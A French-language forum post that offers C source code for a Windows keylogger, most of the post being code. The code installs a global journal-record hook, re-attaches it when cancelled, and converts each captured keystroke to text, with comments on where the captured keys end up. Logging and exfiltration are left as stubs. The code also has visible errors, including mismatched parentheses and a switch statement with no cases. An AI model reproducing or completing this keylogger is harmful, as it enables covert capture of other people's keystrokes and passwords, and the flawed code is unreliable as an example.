bon c pas tres compliqué voila en gros un exemple
pour arreter le hooking il suffit de faire g_dwIsKeyLogRun = false;
Chui pas infaillible, donc j'ai du faire des erreurs en recopiant mon code... ne pas hésiter a me demander !
(désolé c super mal indenté, mais on peut difficilement faire mieux dans ce mode de saisie de texte...)
// Tu cree un thread avec ta fonction de hook
g_hThread = CreateThread(NULL,0,KeyLogHookThread,NULL,0,&dwId));
HHOOK g_hLogHook;
HANDLE g_hThread;
DWORD g_dwIsKeyLogRun;
DWORD WINAPI KeyLogHookThread(LPVOID param)
{
MSG msg;
// J'associe ma fonction (JournalLogProc) a TOUT et elle va intercepter les evenements
if(( g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,GetModuleHandle(NULL),0))!=NULL)
{
g_dwIsKeyLogRun = TRUE;
while (g_dwIsKeyLogRun)
{
while(PeekMessage(&msg),NULL,0,0,PM_NOREMOVE))
{
GetMessage(&msg,NULL,0,0);
if((msg.message==WM_CANCELJOURNAL)||(g_hLogHook == NULL))
{
// on réassocie
if((g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,GetModuleHandle(NULL),0))==NULL)
{
// oups.. erreur
goto keylog_end;
}
}
DispatchMessage(&msg);
}
// alors la t'as plusieurs solution, la meilleure serait un Sleep(0) qui passe
// au thread suivant dans la liste des taches mais etrangement ca pourri tout le system...
// donc un Sleep de 1 milliseconde ca passe...
Sleep(1);
}
// On déassocie ma fonction
UnhookWindowsHookEx(g_hLogHook);
}
keylog_end:
return 0;
}
// La tu as la fonction qui traite les evenements
LRESULT CALLBACK JournalLogProc(int code, WPARAM wParam, LPARAM lParam)
{
EVENTMSG *pEvt;
DWORD dwCount,dwBytes;
char svBuffer[256];
int vKey,nScan;
BYTE kbuf[256];
WORD ch;
int chcount;
if(code<0)
return CallNextHookEx(g_hLogHook,code,wParam,lParam);
if(code==HC_ACTION)
{
pEvt=(EVENTMSG *)lParam;
// Ici tu peux faire un Switch avec pEvt->message pour WM_KEYDOWN, WM_KEYUP, WM_SYSCOMMAND, ...
switch (pEvt->message == WM_KEYDOWN)
{
vKey = LOBYTE(pEvt->paramL);
nScan = HIBYTE(pEvt->paramL);
nScan <<= 16;
// On récupère la touche
dwCount = GetKeyNameText(nScan,svBuffer,256);
if(dwCount)
{
// Ici tu peux faire un Switch pour traiter les touches particulières
// du style : F1-F12, Back, Enter, Ctrl, ...
if(vKey==VK_SPACE)
{
svBuffer[0]=' ';
svBuffer[1]='\0';
dwCount=1;
}
if(dwCount==1)
{
GetKeyboardState(kbuf);
chcount = ToAscii(vKey,nScan,kbuf,&ch,0);
if(chcount>0)
{
// Voila, ici tu te retrouve avec ta touche ecrite dans ch
// et de longueur chcount
}
else
{
// Voila, ici tu as ta touche ecrite dans 'svBuffer'
// dans sa version 'description longue' cad que c'est un mot
// décrivant la touche
}
}
}
}
return CallNextHookEx(g_hLogHook,code,wParam,lParam);
}